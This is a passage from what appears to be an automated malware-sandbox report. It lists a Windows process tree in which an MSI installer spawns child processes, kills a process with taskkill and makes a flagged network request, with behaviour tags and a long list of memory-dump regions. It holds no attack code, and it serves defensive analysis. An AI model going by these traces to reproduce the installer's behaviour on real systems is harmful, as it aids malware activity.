                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6304
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5564 -ip 5564
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3652
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3728 -ip 3728
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3600
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1516 -ip 1516
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6580
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.0
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1468
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3344
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 28343EB4AF582D120A388085C654DC9F C
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                          PID:3256
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding E7CBDB6D3311F0F5C4F35262E8E49AED
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                                                                                          PID:10512
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                            PID:11676
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 2B18D3808AC1ADEC13B99232ADE62742 E Global\MSI0000
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                          PID:12052
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2964 -ip 2964
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6476
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 6748 -ip 6748
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6336
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 4328 -ip 4328
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                          PID:3364
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5936
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:7532
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                            PID:7732
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.0
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                            PID:8508
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 8632 -ip 8632
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                            PID:8808
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:9588
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 8632 -ip 8632
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                              PID:10636
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 9560 -ip 9560
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                              PID:11088
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:11332
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6761b16d-5a85-4eaa-920b-b6335b86995e\test.bat"
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:11996
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 10272 -ip 10272
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:11960
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.0
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9852
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4176 -ip 4176
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9260

                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/580-587-0x00000000062A0000-0x00000000062A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/820-307-0x00000000060F0000-0x000000000623C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1260-228-0x0000000003132000-0x0000000003143000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  68KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1260-264-0x0000000002F30000-0x0000000002F39000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  36KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1416-306-0x0000000005E40000-0x0000000005F8C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1472-601-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  32KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1572-237-0x00000000068B0000-0x00000000068B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1572-240-0x00000000068B2000-0x00000000068B3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1572-207-0x0000000004580000-0x0000000004581000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1572-203-0x0000000004580000-0x0000000004581000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1624-570-0x00000000005E0000-0x00000000005E8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  32KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1860-279-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/1860-250-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2008-248-0x0000000005210000-0x0000000005211000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2008-300-0x0000000005960000-0x0000000005961000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2008-278-0x00000000053A0000-0x00000000053A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2008-266-0x00000000051B0000-0x00000000051B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2008-243-0x00000000008B0000-0x00000000008B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2188-280-0x0000000005810000-0x0000000005811000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2188-249-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-174-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-171-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-177-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-176-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  152KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-175-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-173-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-165-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  572KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-167-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  572KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-166-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  572KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-169-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-172-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2240-170-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2264-511-0x0000000002080000-0x00000000020C4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  272KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2324-371-0x00000000059E0000-0x00000000059E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2484-261-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-410-0x0000000002550000-0x00000000025B0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  384KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-412-0x0000000002A00000-0x0000000002A01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-411-0x0000000002AB0000-0x0000000002AB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-445-0x0000000002A70000-0x0000000002A71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-413-0x0000000003790000-0x0000000003791000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-462-0x0000000002AA0000-0x0000000002AA1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-502-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  5.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-440-0x0000000002AC0000-0x0000000002AC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-454-0x0000000002AE0000-0x0000000002AE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-273-0x00000000020A0000-0x00000000020A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2608-490-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  5.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/2940-424-0x0000000000F70000-0x0000000000F81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  68KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3212-497-0x0000000004A40000-0x0000000004B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  816KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3212-415-0x0000000003E30000-0x0000000003F87000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3212-483-0x0000000007CE0000-0x0000000007E28000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3212-433-0x00000000029F0000-0x0000000002B28000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  1.2MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3300-559-0x0000000005650000-0x0000000005651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3476-414-0x00000000016D0000-0x00000000016E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  68KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3476-580-0x0000000001730000-0x0000000001741000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  68KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3476-409-0x0000000001760000-0x0000000001AB6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3496-253-0x0000000000200000-0x0000000000201000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3496-281-0x000000001AEB0000-0x000000001AEB2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3948-221-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3948-259-0x0000000007C70000-0x0000000007C71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3948-242-0x0000000002C50000-0x0000000002C51000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3948-277-0x0000000005450000-0x0000000005451000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3948-251-0x0000000007850000-0x0000000007851000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4040-535-0x00000000006B0000-0x00000000006DB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  172KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4040-540-0x0000000002090000-0x00000000020C9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  228KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4292-147-0x0000023A11BA0000-0x0000023A11BB0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4292-146-0x0000023A11B20000-0x0000023A11B30000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4292-148-0x0000023A142A0000-0x0000023A142A4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  16KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-267-0x0000000006CB0000-0x0000000006CB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-565-0x000000007F0C0000-0x000000007F0C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-292-0x0000000007600000-0x0000000007601000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-234-0x0000000004662000-0x0000000004663000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-429-0x0000000004665000-0x0000000004667000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-229-0x0000000004660000-0x0000000004661000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-230-0x0000000006DB0000-0x0000000006DB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-225-0x00000000045C0000-0x00000000045C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-206-0x0000000002910000-0x0000000002911000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                • memory/4908-202-0x0000000002910000-0x0000000002911000-memory.dmp

